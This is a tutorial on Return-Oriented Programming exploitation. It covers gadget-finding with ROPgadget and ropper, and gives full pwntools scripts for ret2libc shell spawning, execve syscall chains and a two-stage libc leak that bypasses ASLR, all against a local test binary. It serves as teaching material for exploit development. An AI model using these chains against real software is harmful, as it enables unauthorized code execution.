Return-Oriented Programming

Overview

Return-Oriented Programming (ROP) is a code-reuse technique that chains small instruction sequences (gadgets) already present in the binary or loaded libraries to perform arbitrary operations. Each gadget ends with a ret instruction, which pops the next address from the stack and transfers control to the next gadget.

ROP is the primary bypass for NX (No-Execute) protection. Since the gadgets reside in executable memory (the text segment), NX does not block their execution.

ATT&CK Mapping

  • Tactic: TA0002 - Execution
  • Technique: T1203 - Exploitation for Client Execution

Prerequisites

  • A stack buffer overflow with control of the return address
  • NX enabled (otherwise direct shellcode is simpler)
  • A non-PIE binary (for static gadget addresses) or a PIE binary with a leaked base address
  • Gadget-finding tools: ROPgadget, ropper, or pwntools ROP

How ROP Works

Instead of injecting executable code, the attacker builds a "ROP chain" — a sequence of addresses on the stack, each pointing to a gadget:

Stack layout (attacker-controlled):
┌──────────────────┐
│  addr of gadget 1 │  ← RSP after overflow
├──────────────────┤
│  addr of gadget 2 │
├──────────────────┤
│  value for register│  (popped by gadget)
├──────────────────┤
│  addr of gadget 3 │
├──────────────────┤
│  ...              │
└──────────────────┘

When the vulnerable function returns, ret pops gadget 1's address into RIP. Gadget 1 executes its instructions and ends with ret, which pops gadget 2's address, and so on.

Finding Gadgets

ROPgadget

# ROPgadget
# https://github.com/JonathanSalwan/ROPgadget

# List all gadgets in a binary
ROPgadget --binary ./vuln

# Search for specific gadgets
ROPgadget --binary ./vuln --only "pop|ret"
ROPgadget --binary ./vuln --only "pop|ret" | grep rdi
ROPgadget --binary ./vuln --only "pop|ret" | grep rsi

# Filter out bad bytes (e.g., null bytes)
ROPgadget --binary ./vuln --badbytes "00"

# Search for a string in the binary
ROPgadget --binary ./vuln --string "/bin/sh"

# Auto-generate a ROP chain (for simple binaries)
ROPgadget --binary ./vuln --ropchain

# Search in libc (for more gadgets)
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep rdi

Key flags: - --binary — target binary to analyze - --only — filter gadgets by instruction type (pipe-separated) - --badbytes — exclude gadgets containing specific bytes - --string — search for string data in the binary - --ropchain — attempt automatic ROP chain generation - --depth — maximum gadget depth in instructions (default 10)

ropper

# ropper
# https://github.com/sashs/ropper

# List all gadgets
ropper --file ./vuln

# Search for specific gadgets
ropper --file ./vuln --search "pop rdi"
ropper --file ./vuln --search "pop rsi"
ropper --file ./vuln --search "pop rdx"

# Filter by bad bytes
ropper --file ./vuln -b 00

# Search for syscall gadgets
ropper --file ./vuln --search "syscall"

# Find stack pivot gadgets
ropper --file ./vuln --stack-pivot

# Search for a specific instruction sequence
ropper --file ./vuln --search "mov rdi, rsp"

Key flags: - --file — target binary - --search — search for gadgets matching a pattern - -b — bad bytes to exclude - --stack-pivot — find gadgets that change RSP - --inst-count — maximum instruction count per gadget - --type — gadget type (rop, jop, sys, all)

Common Gadget Types

Gadget Purpose
pop rdi; ret Load 1st argument for function call
pop rsi; pop r15; ret Load 2nd argument (r15 is junk)
pop rdx; ret Load 3rd argument
pop rax; ret Load syscall number
syscall; ret Execute syscall
ret Stack alignment (NOP equivalent)
leave; ret Stack pivot (set RSP to RBP value)

On x86-64, pop rsi; ret alone is rare — often appears as pop rsi; pop r15; ret because of how GCC compiles function prologues.

ROP Chain: ret2libc (system("/bin/sh"))

The most common ROP target — call system("/bin/sh") using libc:

# pwntools
# https://github.com/Gallopsled/pwntools
from pwn import *

context.binary = elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

offset = 72    # buffer to return address

# Gadgets from binary (use ROPgadget to find addresses)
pop_rdi = 0x401234    # pop rdi; ret (replace with actual)
ret     = 0x40101a    # ret (for stack alignment)

# libc addresses (with ASLR disabled for testing)
libc_base = 0x7ffff7c00000    # replace with actual
system    = libc_base + libc.symbols['system']
bin_sh    = libc_base + next(libc.search(b'/bin/sh'))

# Build ROP chain
payload  = b'A' * offset
payload += p64(ret)         # 16-byte stack alignment
payload += p64(pop_rdi)     # pop "/bin/sh" address into RDI
payload += p64(bin_sh)      # address of "/bin/sh" string
payload += p64(system)      # call system()

p = process('./vuln')
p.sendline(payload)
p.interactive()

ROP Chain: execve Syscall

Directly invoke execve("/bin/sh", NULL, NULL) via syscall without calling libc functions. Requires gadgets for RAX, RDI, RSI, RDX, and a syscall instruction:

# pwntools
# https://github.com/Gallopsled/pwntools
from pwn import *

context.binary = elf = ELF('./vuln')

offset = 72

# Gadgets (replace addresses with actual values from ROPgadget)
pop_rax = 0x401234    # pop rax; ret
pop_rdi = 0x401235    # pop rdi; ret
pop_rsi = 0x401236    # pop rsi; pop r15; ret
pop_rdx = 0x401237    # pop rdx; ret
syscall = 0x401238    # syscall; ret

bin_sh = next(elf.search(b'/bin/sh'))    # if string exists in binary

payload  = b'A' * offset
payload += p64(pop_rdi)
payload += p64(bin_sh)      # filename = "/bin/sh"
payload += p64(pop_rsi)
payload += p64(0)           # argv = NULL
payload += p64(0)           # junk for r15
payload += p64(pop_rdx)
payload += p64(0)           # envp = NULL
payload += p64(pop_rax)
payload += p64(59)          # execve syscall number
payload += p64(syscall)

p = process('./vuln')
p.sendline(payload)
p.interactive()

Automated ROP with pwntools

pwntools can automatically find gadgets and build ROP chains:

# pwntools
# https://github.com/Gallopsled/pwntools
from pwn import *

context.binary = elf = ELF('./vuln')
rop = ROP(elf)

offset = 72

# Automatically find gadgets
# rop.rdi is shorthand for: pop rdi; ret
rop.call('puts', [elf.got['puts']])    # leak puts GOT entry
rop.call(elf.symbols['main'])          # return to main for second stage

payload  = b'A' * offset
payload += rop.chain()

p = process('./vuln')
p.sendline(payload)

Key pwntools ROP methods:

rop = ROP(elf)
rop.call(function, [args])    # call function with arguments
rop.raw(addr)                 # push raw address onto chain
rop.find_gadget(['pop rdi', 'ret'])    # find specific gadget
rop.chain()                   # generate the final payload bytes
rop.dump()                    # print the chain for debugging

Leaking libc with ROP (ASLR Bypass)

When ASLR is enabled, use ROP to leak a libc function address from the GOT, then calculate the libc base for a second-stage payload:

# pwntools
# https://github.com/Gallopsled/pwntools
from pwn import *

context.binary = elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP(elf)

offset = 72

# Stage 1: Leak puts address from GOT
rop.call('puts', [elf.got['puts']])
rop.call(elf.symbols['main'])       # return to main

payload  = b'A' * offset
payload += rop.chain()

p = process('./vuln')
p.sendline(payload)

# Parse leaked address
leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))
log.info(f"Leaked puts: {hex(leaked_puts)}")

# Calculate libc base
libc.address = leaked_puts - libc.symbols['puts']
log.info(f"libc base: {hex(libc.address)}")

# Stage 2: ret2libc with known addresses
rop2 = ROP(libc)
rop2.call('system', [next(libc.search(b'/bin/sh'))])

payload2  = b'A' * offset
payload2 += p64(rop.find_gadget(['ret'])[0])    # stack alignment
payload2 += rop2.chain()

p.sendline(payload2)
p.interactive()

References

Tools

Pentest Guides & Research

MITRE ATT&CK